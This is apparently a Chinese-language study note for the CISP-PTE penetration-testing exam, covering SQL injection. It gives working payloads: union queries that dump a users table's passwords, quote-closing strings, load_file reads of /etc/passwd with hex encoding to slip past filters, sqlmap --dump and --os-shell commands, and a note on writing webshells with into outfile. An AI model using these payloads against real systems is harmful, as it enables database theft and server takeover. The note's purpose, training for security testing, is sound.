渗透测试CISP-PTE-系列学习笔记
第一章 渗透测试CISP-PTE:Web安全简介
第二章 渗透测试CISP-PTE:信息收集
第三章 渗透测试CISP-PTE:漏洞扫描
第四章 渗透测试CISP-PTE:HTTP请求流程
第五章 渗透测试CISP-PTE:SQL注入
前言
SQL注入是一种常见的网络攻击技术,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,以获取未经授权的访问或修改数据库的权限。攻击者可以利用SQL注入漏洞执行任意的数据库操作,如查询、修改、删除数据,甚至获取敏感信息。
一、数据库的基本概念
数据库是按照数据结构来组织、存储和管理 数据的仓库
结构化查询语言SQL是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系型数据库系统。
特点:解释型语言
1、SQL语言
主要包含6大部分:
数据查询语言DQL,如:select
数据操作语言DML,如:insert,update、delete
数据控制语言DCL,如:grant、revoke
数据定义语言DDL,如:create、drop
指针控制语言CCL,如:declare cursor、fetch
事务处理语言TPL,如:commit、rollback
1.1 SQL语言注释符
SQL语言常用的注释符如下:
#
/**/
空格
%a0
%09
%0a
%0b
%0d
1.2 SQL常用语句
insert into
INSERT INTO table_name VALUES (value1,value2,value3,...);
INSERT INTO table_name (column1,column2,...) VALUES (value1,value2,...);
update
UPDATE table_name
SET column1=value1,column2=value2,...
WHERE some_column=some_value;
delete
DELETE FROM table_name
WHERE some_column=some_value;
2、数据库特性
2.1 静态网页
html/htm是一种静态的页面格式,不需要服务器解析其中的脚本,由浏览器来解析
特点:不依赖数据库、灵活性差、交互性差、安全
2.2 动态网页
asp、aspx、php、jsp等由相应的脚本引擎来解析执行,根据指令生成静态网页
特点:依赖数据库、灵活性好、交互性好,但存在安全风险
二、SQL注入
1、SQL注入定义
SQL Injection:通过把sql命令插入到web表单递交或输入域或页面请求的查询字符串,达到欺骗服务器执行恶意的sql命令
它是利用现有应用程序,将恶意的sql命令注入到后台数据库引擎执行的能力,可以通过web表单中输入恶意sql语句得到一个存在安全楼漏洞的网站上的数据库,而不是按照设计者意图去执行sql语句
成因:未对用户提交的参数数据进行校验或有效的过滤,直接进行sql语句执行,改变了 原有sql语句的语言,传入数据库解析引擎中执行。
2、SQL注入触发点
所有的输入只要和数据库进行交互的,都有可能触发SQL注入,常见的包括:
1.Get参数触发SQL注入
2.POST参数触发SQL注入
3.Cookie触发SQL注入
4.其他参与sql执行的输入都有可能进行SQL注入
3、SQL注入利用的流程
3.1 判断web环境是否可以SQL注入
3.2 寻找SQL注入点
通过输入一些特殊语句,根据返回信息来判读是否存在注入点以及获取数据库类型等有用信息。以http:// www.example.com/abc.asp?ID=YY为例进行分析,假定此处的YY参数为整型。通常abc.asp中SQL语句原貌大致为select * from 表名 where 字段=YY。所以可以用以下步骤测试是否存在SQL注入漏洞:
a) 访问http:// www.example.com/abc.asp?ID=YY’(参数中附加了一个单引号),此时abc.asp中的SQL语句变成了select * from 表名 where 字段=YY’, abc.asp页面 运行异常;
b) 访问http:// www.example.com/abc.asp?ID=YY and 1=1, abc.asp页面运行正常,而且与http:// www.example.com/abc.asp?ID=YY请求运行结果相同;
c) 访问http:// www.example.com/abc.asp?ID=YY and 1=2, abc.asp页面运行异常;
如果以上三条全部满足,则abc.asp页面中一定存在SQL注入漏洞。
3.3 猜解用户名和密码
MySQL数据库中系统自带的information_schema信息数据库中保存着关于MySQL服务器所维护的所有其他数据库的信息 当前MySQL实例中所有数据库的信息存放在SCHEMATA表,所有表信息存放在TABLES表中,所有表中列信息存放在COLUMNS表中
DATABASE 库
TABLES 表 :information_schema.tables存放所有表的信息;table_name(表名);table_schema(表所属数据库的名字);
COLUMNS列、字段 :information_schema.columns存放所有表的列信息;column_name(字段名称)
RECORD记录、行
3.4 寻找WEB管理后台入口
通常WEB后台管理的界面不面向普通用户开放,要寻找到后台的登录路径,可以利用扫描工具快速搜索到可能的登录地址,利用社会工程学依次进行尝试,就可以试出管理台的入口地址。
3.5入侵和破坏
成功登录后台管理后,接下来就可以任意进行破坏行为,如篡改网页、上传木马、修改、泄漏用户信息,进一步入侵数据库服务器或者获得服务器控制权限。
3.6 案例
找注入点 :id字段可能可以注入
找闭合 :使用%‘“)字符 触发sql异常
哪个字符出现异常说明闭合符号就是哪个,搜索型一般是%’,所以有可能闭合符号为2个甚至是3个
id=5 and 1=1 测试 and是否被解析成指令(sql运行正常) id=1' and 1=1 %23
id=5 and 1=2 测试and后的条件是否可以正常解析(sql运行异常),结合上面指令得知数据库可以注入 id=1' and 1=2 %23
id=5 order by 2 执行成功,确定表中数据至少2列(order by 列名/数字-第几列) %23
id=5 order by 3 执行失败,确定表中数据没有3列,结合上面的指令得知数据库只有2列
id=-1 union select 1,2 测试回显点(输出),发现2列数据都进行回显
id=-1 union select database(),2 利用回显点输出数据库名称/table_schema
id=-1 union select (select group_concat(table_name)from information_schema.tables where table_schema="pikachu"),2 利用回显点输出数据库table_schema中包含的表名
id=-1 union select (select group_concat(column_name) from information_schema.columns where table_name='users'),2 利用回显点输出表users的字段名/列名columns
id=-1 union select (select group_concat(username,';',password Separator '</br>') from users),2 利用回显点输出表users中指定字段的值
备注:
group_concat:可以将括号内的指定字段显示出来
group_concat([DISTINCT] 字段1,字段2 [Order by asc/desc 排序字段] [Separator ‘分隔符’])
4、SQL注入作用
绕过登录验证:使用万能密码登录网站后台等
获取敏感数据:获取网站管理员帐号、密码等
文件系统操作:列目录,读取、写入文件等
注册表操作:读取、写入、删除注册表等
执行系统命令:远程执行命令
三、SQL注入漏洞
1.数据类型-找闭合
1.1.数字型SQL注入 -无需闭合
输入的参数为整型,如:ID,年龄,页码等,如果存在注入漏洞,则可以认为是数字型注入
1.2.字符型 SQL注入 -需闭合和注释
字符型注入最关键的是如何闭合SQL语句以及注释掉多余的代码 ,闭合字符串、注释掉
后边多余的代码,才可以继续注入。 当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
‘“)
‘)
“)
admin’#
Admin’–+
Admin’%23
1.3.数据库注释符
2.返回结果
2.1.POST注入-注入字段在POST数据中
2.2.Cookie注入-注入字段在Cookie数据中
2.3.搜索注入-注入处为搜索的点
2.4.Baes64注入-注入字符串需要经过base64加密
2.5.报错回显型注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
2.6.联合查询型注入: 可以使用union的情况下的注入
2.7.堆查询型注入: 可以同时执行多条语句的执行时的注入
2.8.布尔型盲注- 即可以根据返回页面判断条件真假的注入
2.9.时间延迟型盲注(不会考)
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断
四、sqlmap
●sqlmap.py -u ”http://test.com/sqp1.php?user=test&id=1” --dbs
-u指定检测的url地址 --dbs 爆库名
●sqlmap.py -u "http://test.com/sqp1.php" --data="user=test&id=1" -p id
--data post 参数 -p 指定参数注入
●sqlmap.py -u "http://test.com/sqp1.php" --data="user=test&id=1" -p id -D dvwa --tabls
获取指定数据库中的表名 --tables 爆表名
●sqlmap.py -u "http://test.com/sqp1.php" --data="user=test&id=1" -p id -D dvwa -T user --columns
获取指定数据库中指定表的列名, --columns 爆列名
●sqlmap.py -u "http://test.com/sqp1.php" --data="user=test&id=1" -p id -D dvwa -T user --dump
dump指定数据库中指定表的数据 --dump 拖库
●sqlmap.py -u "http://test.com/sqp1.php" --data="user=test&id=1" --second-url "http://test.com/sqp2.php" -p id -D dvwa -T user --dump
-u 是注入的输入点所在url
--second-url 是注入之后查看服务器响应数据的url
●其他参数
-C column1, column2 获取指定数据库中指定列的数据
-r c:\sqltest.txt 加载i请求数据(把要发送的请求内容方法txt文件中使用sqlmap加载)
--cookie=COOKIE 登录后的cookie
-v 显示信息
--proxy=""
--random-agent=""
--tamper=="space2comment.py" #模板对于MySQL数据库注释绕过空格的脚本
--current-db
--current-user
--password
--batch //注入过程中选择默认选项,不需用户交互
--file-read //读取目标机上的文件
--os.shell //获取目标机上的shell
五、mycli 工具登录数据库
mycli mysql://admin@IP地址:3306/dvwa
六、SQL注入–文件写入和读取
一般php环境中config.inc.php配置文件中有数据库的登录账号和密码
php.ini 中的配置–secure-file-priv安全文件权力可以控制是否允许读写文件
a) 值为 NULL 代表不允许读写任何目录下的文件
b) 值为 (space) 代表允许读写任意目录下的文件
0 值为特定目录代表允许读写特定目录下的文件
1、文件读取load_file()
使用文件读取或者写入需要查看的配置 :
--secure-file-priv php.ini 中的配置
读取文件的几个前提
-
知道文件绝对路径 (data目录可以使用相对路径)
-
能够使用union查询
-
对想要读取的目录有读写权限,判断mysql是不是root
and (select count(*) from mysql.users) > 0
my.ini中的secure-file-priv配置UNION SELECT 1,load_file('/etc/passwd'),3,4,5,6# UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6# UNION SELECT 1,load_file(char( 47,101,99,116,47,112,97,115,115,119,100 )),3,4,5,6# UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#
注意:
当/etc/passwd转化为16进制之后可以不要两个单引号,可以绕过有些过滤的单引号的注入点。如果有过滤单引号,则可以将函数中的路径进行hex或者char编码
2、写入文件-into outfile(outfile_sql注入之文件写入into outfile)
sql注入中写入webshell的几种方式
secure_file_priv="c:/…"被注释掉或者是web路径
php.ini中的get_magic_quotes_gpc()函数未开启
在进行写入websell时,要注意参数secure_file_priv是否有指定路径或者是否为null。最好要获得root权限
查看命令show variables like '%secure_file_priv%'。
总结
以上就是今天要讲的内容,本文仅仅简单介绍了SQL注入的定义、触发点、漏洞利用等。后续将从暴力破解、文件上传等环节进行详细介绍。